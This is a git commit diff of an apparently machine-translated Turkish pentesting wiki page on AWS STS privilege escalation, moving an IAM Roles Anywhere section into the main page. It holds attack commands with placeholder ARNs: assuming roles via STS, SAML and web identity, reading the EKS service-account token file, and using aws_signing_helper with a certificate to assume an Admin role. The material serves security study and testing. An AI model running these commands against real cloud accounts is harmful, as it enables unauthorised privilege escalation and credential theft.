Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-06-24 14:03:29 +00:00
parent bfa40aae1d
commit 8be9eb4b92
2 changed files with 47 additions and 50 deletions
@@ -1,42 +0,0 @@
# AWS - IAM Roles Anywhere Privesc
{{#include ../../../../banners/hacktricks-training.md}}
AWS IAM RolesAnywhere, AWS dışındaki iş yüklerinin X.509 sertifikalarını kullanarak IAM rollerini üstlenmesine olanak tanır. Ancak, güven politikaları düzgün bir şekilde tanımlanmadığında, ayrıcalık yükseltme için kötüye kullanılabilirler.
Bu politika, hangi güven temeli veya sertifika özelliklerinin izin verildiği konusunda kısıtlamalar içermemektedir. Sonuç olarak, hesapta bulunan herhangi bir güven temeline bağlı olan herhangi bir sertifika, bu rolü üstlenmek için kullanılabilir.
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "rolesanywhere.amazonaws.com"
},
"Action": [
"sts:AssumeRole",
"sts:SetSourceIdentity",
"sts:TagSession"
]
}
]
}
```
Privesc için, `aws_signing_helper` https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html adresinden gereklidir.
Sonra geçerli bir sertifika kullanarak, saldırgan daha yüksek ayrıcalıklı role geçiş yapabilir.
```bash
aws_signing_helper credential-process \
--certificate readonly.pem \
--private-key readonly.key \
--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \
--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \
--role-arn arn:aws:iam::123456789012:role/Admin
```
### Referanslar
- https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation/
{{#include ../../../../banners/hacktricks-training.md}}
@@ -27,11 +27,11 @@ Bir rolü taklit edebilirsiniz:
```bash
aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname
```
**Olası Etki:** Rol için Privesc.
**Potansiyel Etki:** Rol için privesc.
> [!CAUTION]
> Bu durumda `sts:AssumeRole` izninin **istismar edilecek rolde belirtilmesi gerektiğini** ve saldırganın politikasında olmaması gerektiğini unutmayın.\
> Bir istisna ile, **farklı bir hesaptan bir rolü üstlenmek için** saldırgan hesabının **aynı zamanda** rol üzerinde **`sts:AssumeRole`** iznine sahip olması **gerekir**.
> Bu durumda, izin `sts:AssumeRole`'un **istismar edilecek rolde belirtilmesi gerektiğini** ve saldırganın politikasında olmaması gerektiğini unutmayın.\
> Bir istisna ile, **farklı bir hesaptan bir rolü üstlenmek** için saldırgan hesabının **aynı zamanda** rol üzerinde **`sts:AssumeRole`** iznine sahip olması gerekir.
### **`sts:GetFederationToken`**
@@ -78,7 +78,7 @@ Bu izne sahip bir güven politikası örneği:
]
}
```
Genel olarak rolü taklit etmek için kimlik bilgileri oluşturmak için şunları kullanabilirsiniz:
Genel olarak, rolü taklit etmek için kimlik bilgileri oluşturmak üzere şunları kullanabilirsiniz:
```bash
aws sts assume-role-with-saml --role-arn <value> --principal-arn <value>
```
@@ -86,21 +86,60 @@ Ama **sağlayıcılar** bunu kolaylaştırmak için **kendi araçlarına** sahip
```bash
onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600
```
**Olası Etki:** Role yükselme.
**Potansiyel Etki:** Role'e privesc.
### `sts:AssumeRoleWithWebIdentity`
Bu izin, **mobil, web uygulaması, EKS...** içinde bir web kimlik sağlayıcısı ile kimlik doğrulaması yapılmış kullanıcılar için geçici güvenlik kimlik bilgileri seti elde etme izni verir. [Daha fazla bilgi edinin.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html)
Bu izin, **mobil, web uygulaması, EKS...** içinde bir web kimlik sağlayıcısı ile kimlik doğrulaması yapılmış **kullanıcılar için** geçici güvenlik kimlik bilgileri seti elde etme izni verir. [Daha fazla bilgi edinin.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html)
Örneğin, eğer bir **EKS hizmet hesabı** bir **IAM rolünü taklit edebilmesi** gerekiyorsa, **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** içinde bir token'a sahip olacak ve rolü üstlenip kimlik bilgilerini elde edebilecektir.
Örneğin, bir **EKS hizmet hesabı** bir **IAM rolünü taklit edebilmesi** gerekiyorsa, **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** içinde bir token'a sahip olacak ve rolü **üstlenip kimlik bilgilerini** elde edebilecektir.
```bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/<role_name> --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
# The role name can be found in the metadata of the configuration of the pod
```
### Federasyon İstismarı
### Federation Abuse
{{#ref}}
../aws-basic-information/aws-federation-abuse.md
{{#endref}}
### IAM Roles Anywhere Privesc
AWS IAM RolesAnywhere, AWS dışındaki iş yüklerinin X.509 sertifikalarını kullanarak IAM rollerini üstlenmesine olanak tanır. Ancak, güven politikaları düzgün bir şekilde tanımlanmadığında, ayrıcalık yükseltme için kötüye kullanılabilirler.
Bu politika, hangi güven kaynağı veya sertifika özelliklerinin izin verildiği konusunda kısıtlamalar içermemektedir. Sonuç olarak, hesapta bulunan herhangi bir güven kaynağına bağlı olan herhangi bir sertifika bu rolü üstlenmek için kullanılabilir.
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "rolesanywhere.amazonaws.com"
},
"Action": [
"sts:AssumeRole",
"sts:SetSourceIdentity",
"sts:TagSession"
]
}
]
}
```
Privesc için, `aws_signing_helper` https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html adresinden gereklidir.
Sonra geçerli bir sertifika kullanarak, saldırgan daha yüksek ayrıcalıklı role geçiş yapabilir.
```bash
aws_signing_helper credential-process \
--certificate readonly.pem \
--private-key readonly.key \
--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \
--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \
--role-arn arn:aws:iam::123456789012:role/Admin
```
### Referanslar
- [https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation](https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation)
{{#include ../../../banners/hacktricks-training.md}}